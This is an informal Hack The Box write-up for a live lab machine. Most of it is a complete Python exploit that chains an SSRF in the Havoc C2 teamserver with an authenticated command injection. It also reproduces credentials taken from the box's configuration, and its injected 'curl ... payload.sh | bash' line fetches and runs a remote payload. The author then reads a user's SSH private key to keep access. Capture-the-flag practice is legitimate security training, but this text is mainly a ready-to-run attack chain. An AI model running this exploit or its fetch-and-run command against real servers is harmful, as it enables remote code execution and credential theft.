Join our telegram group for hack the box season 7 live boxes
https://t.me/htbboxes
user
10.10.11.49
nmap 10.10.11.49 -sV -sC -T 5
havoc .yotl
user "ilya" {
Password = "CobaltStr1keSuckz!"
}
user "sergej" {
Password = "1w4nt2sw1tch2h4rdh4tc2"
Lets take a look at both creators githubs
We see im chebuyas a " Havoc-C2-SSRF-poc"
I was able to get the ssrf working on the box but nothing was really coming out of it
In hyperrealitys github we find a section called c2 vulnerabiltys and inside it is a folder called
havoc_auth_rce
I ran my own instance of havoc
and was able to get a shell on my own machine
Now i just had to chain these two attacks
this is the script i used
import os
import json
import hashlib
import binascii
import random
import requests
import argparse
import urllib3
from Crypto.Cipher import AES
from Crypto.Util import Counter
urllib3.disable_warnings()
key_bytes = 32
def decrypt(key, iv, ciphertext):
if len(key) <= key_bytes:
for _ in range(len(key), key_bytes):
key += b"0"
assert len(key) == key_bytes
iv_int = int(binascii.hexlify(iv), 16)
ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
aes = AES.new(key, AES.MODE_CTR, counter=ctr)
plaintext = aes.decrypt(ciphertext)
return plaintext
def int_to_bytes(value, length=4, byteorder="big"):
return value.to_bytes(length, byteorder)
def encrypt(key, iv, plaintext):
if len(key) <= key_bytes:
for x in range(len(key), key_bytes):
key = key + b"0"
assert len(key) == key_bytes
iv_int = int(binascii.hexlify(iv), 16)
ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
aes = AES.new(key, AES.MODE_CTR, counter=ctr)
ciphertext = aes.encrypt(plaintext)
return ciphertext
def register_agent(hostname, username, domain_name, internal_ip,
process_name, process_id):
command = b"\x00\x00\x00\x63"
request_id = b"\x00\x00\x00\x01"
demon_id = agent_id
hostname_length = int_to_bytes(len(hostname))
username_length = int_to_bytes(len(username))
domain_name_length = int_to_bytes(len(domain_name))
internal_ip_length = int_to_bytes(len(internal_ip))
process_name_length = int_to_bytes(len(process_name) - 6)
data = b"\xab" * 100
header_data = command + request_id + AES_Key + AES_IV + demon_id +
hostname_length + hostname + username_length + username +
domain_name_length + domain_name + internal_ip_length + internal_ip +
process_name_length + process_name + process_id + data
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
print(agent_header + header_data)
print("[***] Trying to register agent...")
r = requests.post(teamserver_listener_url, data=agent_header +
header_data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to register agent - {r.status_code}
{r.text}")
def open_socket(socket_id, target_address, target_port):
command = b"\x00\x00\x09\xec"
request_id = b"\x00\x00\x00\x02"
subcommand = b"\x00\x00\x00\x10"
sub_request_id = b"\x00\x00\x00\x03"
local_addr = b"\x22\x22\x22\x22"
local_port = b"\x33\x33\x33\x33"
forward_addr = b""
for octet in target_address.split(".")[::-1]:
forward_addr += int_to_bytes(int(octet), length=1)
forward_port = int_to_bytes(target_port)
package = subcommand + socket_id + local_addr + local_port +
forward_addr + forward_port
package_size = int_to_bytes(len(package) + 4)
header_data = command + request_id + encrypt(AES_Key, AES_IV,
package_size + package)
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
data = agent_header + header_data
print("[***] Trying to open socket on the teamserver...")
r = requests.post(teamserver_listener_url, data=data, headers=headers,
verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to open socket on teamserver -
{r.status_code} {r.text}")
def write_socket(socket_id, data):
command = b"\x00\x00\x09\xec"
request_id = b"\x00\x00\x00\x08"
subcommand = b"\x00\x00\x00\x11"
sub_request_id = b"\x00\x00\x00\xa1"
socket_type = b"\x00\x00\x00\x03"
success = b"\x00\x00\x00\x01"
data_length = int_to_bytes(len(data))
package = subcommand + socket_id + socket_type + success + data_length
+ data
package_size = int_to_bytes(len(package) + 4)
header_data = command + request_id + encrypt(AES_Key, AES_IV,
package_size + package)
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
post_data = agent_header + header_data
print(post_data)
print("[***] Trying to write to the socket")
r = requests.post(teamserver_listener_url, data=post_data,
headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to write data to the socket - {r.status_code}
{r.text}")
def read_socket(socket_id):
command = b"\x00\x00\x00\x01"
request_id = b"\x00\x00\x00\x09"
header_data = command + request_id
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
data = agent_header + header_data
print("[***] Trying to poll teamserver for socket output...")
r = requests.post(teamserver_listener_url, data=data, headers=headers,
verify=False)
if r.status_code == 200:
print("[***] Read socket output successfully!")
else:
print(f"[!!!] Failed to read socket output - {r.status_code}
{r.text}")
return ""
command_id = int.from_bytes(r.content[0:4], "little")
request_id = int.from_bytes(r.content[4:8], "little")
package_size = int.from_bytes(r.content[8:12], "little")
enc_package = r.content[12:]
return decrypt(AES_Key, AES_IV, enc_package)[12:]
def create_websocket_request(host, port):
request = (
f"GET /havoc/ HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
f"Upgrade: websocket\r\n"
f"Connection: Upgrade\r\n"
f"Sec-WebSocket-Key: 5NUvQyzkv9bpu376gKd2Lg==\r\n"
f"Sec-WebSocket-Version: 13\r\n"
f"\r\n"
).encode()
return request
def build_websocket_frame(payload):
payload_bytes = payload.encode("utf-8")
frame = bytearray()
frame.append(0x81)
payload_length = len(payload_bytes)
if payload_length <= 125:
frame.append(0x80 | payload_length)
elif payload_length <= 65535:
frame.append(0x80 | 126)
frame.extend(payload_length.to_bytes(2, byteorder="big"))
else:
frame.append(0x80 | 127)
frame.extend(payload_length.to_bytes(8, byteorder="big"))
masking_key = os.urandom(4)
frame.extend(masking_key)
masked_payload = bytearray(byte ^ masking_key[i % 4] for i, byte in
enumerate(payload_bytes))
frame.extend(masked_payload)
return frame
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="The listener target in URL
format", required=True)
parser.add_argument("-i", "--ip", help="The IP to open the socket with",
required=True)
parser.add_argument("-p", "--port", help="The port to open the socket
with", required=True)
parser.add_argument("-A", "--user-agent", help="The User-Agent for the
spoofed agent", default="Mozilla/5.0 (Windows NT 6.1; WOW64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110
Safari/537.36")
parser.add_argument("-H", "--hostname", help="The hostname for the spoofed
agent", default="DESKTOP-7F61JT1")
parser.add_argument("-u", "--username", help="The username for the spoofed
agent", default="Administrator")
parser.add_argument("-d", "--domain-name", help="The domain name for the
spoofed agent", default="ECORP")
parser.add_argument("-n", "--process-name", help="The process name for the
spoofed agent", default="msedge.exe")
parser.add_argument("-ip", "--internal-ip", help="The internal ip for the
spoofed agent", default="10.1.33.7")
args = parser.parse_args()
magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = args.target
headers = {
"User-Agent": args.user_agent
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = bytes(args.hostname, encoding="utf-8")
username = bytes(args.username, encoding="utf-8")
domain_name = bytes(args.domain_name, encoding="utf-8")
internal_ip = bytes(args.internal_ip, encoding="utf-8")
process_name = args.process_name.encode("utf-16le")
process_id = int_to_bytes(random.randint(1000, 5000))
register_agent(hostname, username, domain_name, internal_ip, process_name,
process_id)
socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, args.ip, int(args.port))
USER = "ilya"
PASSWORD = "CobaltStr1keSuckz!"
host = "127.0.0.1"
port = 40056
websocket_request = create_websocket_request(host, port)
write_socket(socket_id, websocket_request)
response = read_socket(socket_id)
payload = {"Body": {"Info": {"Password":
hashlib.sha3_256(PASSWORD.encode()).hexdigest(), "User": USER},
"SubEvent": 3}, "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17",
"User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)
payload = {"Body":{"Info":
{"Headers":"","HostBind":"0.0.0.0","HostHeader":"","HostRotation":"round-
robin","Hosts":"0.0.0.0","Name":"abc","PortBind":"443","PortConn":"443","P
rotocol":"Https","Proxy
Enabled":"false","Secure":"true","Status":"online","Uris":"","UserAgent":"
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/96.0.4664.110 Safari/537.36"},"SubEvent":1},"Head":
{"Event":2,"OneTime":"","Time":"08:39:18","User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)
# CHANGE THIS LINE TO YOUR IP WHERE YOUR HOSTING YOUR PYTHON SERVER
cmd = "curl http://10.10.14.201:8000/payload.sh | bash"
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""
payload = {"Body": {"Info": {"AgentType": "Demon", "Arch": "x64",
"Config": "{\n \"Amsi/Etw Patch\": \"None\",\n \"Indirect Syscall\":
false,\n \"Injection\": {\n \"Alloc\": \"Native/Syscall\",\n
\"Execute\": \"Native/Syscall\",\n \"Spawn32\":
\"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n \"Spawn64\":
\"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n },\n \"Jitter\":
\"0\",\n \"Proxy Loading\": \"None (LdrLoadDll)\",\n \"Service
Name\":\"" + injection + "\",\n \"Sleep\": \"2\",\n \"Sleep Jmp
Gadget\": \"None\",\n \"Sleep Technique\": \"WaitForSingleObjectEx\",\n
\"Stack Duplication\": false\n}\n", "Format": "Windows Service Exe",
"Listener": "abc"}, "SubEvent": 2}, "Head": {
"Event": 5, "OneTime": "true", "Time": "18:39:04", "User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)
This got me in but i couldnt hold the connection for very long
so once i was in i went to the .ssh folder in ilyas home and cated out the private key i
created a file named ilya and put the private key inside it
You may also need to chmod 600 ilya as well
And then that has us a reliable connection
